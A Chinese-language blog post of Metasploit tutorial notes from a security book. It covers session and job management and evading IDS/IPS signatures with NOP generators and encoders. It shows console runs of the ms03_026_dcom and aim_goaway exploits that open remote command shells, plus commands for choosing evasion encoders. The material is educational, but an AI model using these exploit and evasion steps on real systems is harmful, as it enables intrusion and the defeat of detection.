2010年9月9日 星期四

Metasploit 續2

管理Session和Job

  • 交互命令殼和其他payload被包裹在Session裡,可以被停止以及恢復
  • 需要執行伺服器的攻擊程式(像是瀏覽器攻擊程式,它必須誘騙用互連接到Metasploit的Web伺服器),能夠以執行在背景的Job之形式加以管理
  • 透用使用Session與Job,可以在單一的Metasploit實例裡同時進行多個攻擊
Session
使用交互式payload,例如shell或者Meterpreter payload時,session會自動被建立,當session被建立時,session ID被當作攻擊程式輸出的一部分
msf exploit(ms03_026_dcom)>  exploit
[*]Started bind handler
.......                                     #很多系統顯示的東西
[*]Command shell session 1 opened (10.150.9.46:59996 -> 10.157.6.231:44444)
                                            #session
.....

C:\WINDOWS\system32>
C:\WINDOWS\system32> ^Z                   #推到背景
Background session 1? [y/N] y             #輸入y
msf exploit(ms03_026_dcom)>               #自動回到Metasploit控制台
msf exploit(ms03_026_dcom)>set RHOST snake         #建立新的session
RHOST => 10.157.6.140                              #系統自行顯示
msf exploit(ms03_026_dcom)>  exploit
.......

msf exploit(ms03_026_dcom)>session -l   #得到一個活躍的session清單

Active sessions
===============

     Id  Descriptions   Tunnel
     --  -------------  --------
     1   Command shell  10.150.9.46:59996 -> 10.157.6.231:4444
     2   Command shell  10.150.9.46:60054 -> 10.157.6.140:4444

msf exploit(ms03_026_dcom)>session -i sessionid      #恢復指定session
msf exploit(ms03_026_dcom)>session -i 2              #範例

C:\WINDOWS\system32>exit
exit

^C                   #命令殼未乾淨退出時,使用^C結束行程
Abort session 2? [y/N] y                 #輸入Y    

Job
類似session,但是由任何需要執行在背景中的任務所建立。會建立伺服器(等待客戶端連上來)的攻擊是建立job的好例子
msf> use exploit/windows/browser/aim_goaway
msf exploit(aim_goaway)> set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp                 #系統自行顯示
msf exploit(aim_goaway)>exploit
[*]Using URL: http://192.168.10.10:8080/HKLUJ441
[*]Server started
[*]Exploit running as background job.
                                           
msf exploit(aim_goaway)>jobs -l             #顯示活躍的job清單

Job
===

  Id  Name
  -- -----
  0  Exploit: windows/browser/aim_goaway

msf exploit(aim_goaway)>jobs -k 0     #殺掉指定job
Stopping job: 0...                    #系統自行顯示
msf exploit(aim_goaway)>jobs -K       #殺掉所有job
如果job是一個設法成功攻陷客戶端的攻擊,session將會被建立並且自動放置在背景

使用NOP和編碼器的規避技術

  • 簡單的IDS或IPS設備試圖透過比對NOP sled或攻擊所附帶之payload的特定位元組來偵測攻擊
  • 進接設備也會考慮[攻擊特定]的攻擊特徵(signature)
NOP產生器
  • 相較於傳統的NOP sled(一序列的0x90的位元組),Metasploit的NOP產生器可製造一序列任意長度的位元組,具不可預測的樣式(pattern)
  • 透過NOP產生器,越過簡單IDS/IPS的常見NOP sled特徵
msf exploit(aim_goaway)> show nops

NOP Generators
==============

  Name              Description                       
  ----------        -----------
  ppc/simple        Simple
  sparc/random      SRARC NOP generator
  x86/opty2         Opty2
  x86/single_byte   Single Byte        


msf exploit(aim_goaway)> set NOP generatorname  #選擇NOP產生器
msf exploit(aim_goaway)> set NOP x86/opty2      #範例
NOP => x86/opty2             #系統自行顯示

msf> use x86/opty2   
msf nop(opty2)> generate 20  #看特定產生器所產生的輸出樣本前20個

payload編碼器
  • payload編碼器(encoder)在技術上並非為了規避安全防護裝置,雖然如此,它們能夠被用來規避正在尋找你的payload的特定位元組的簡單IDS/IPS攻擊特徵
  • 編碼器通常是為了克服各種會阻止攻擊順利進行的狀況,例如改變Metasploit所傳送的位元組
msf exploit(ms02_039_slammer)> show encoders

Encoders
========

  Name               Description                       
  ---------------    -----------
  x86/alpha_mixed    Alpha2 Alphanumeric Mixedcase Encoder
  x86/alpha_upper    Alpha2 Alphanumeric Uppercase Encoder
  ..........

msf exploit(ms02_039_slammer)> set ENCODER encodername  #選擇編碼器
msf exploit(ms02_039_slammer)> set ENCODER x86/alpha_upper   #範例
ENCODER => x86/alpha_upper    
        #系統自行顯示

資料出處:O'REILLY 防駭超級工具

沒有留言:

張貼留言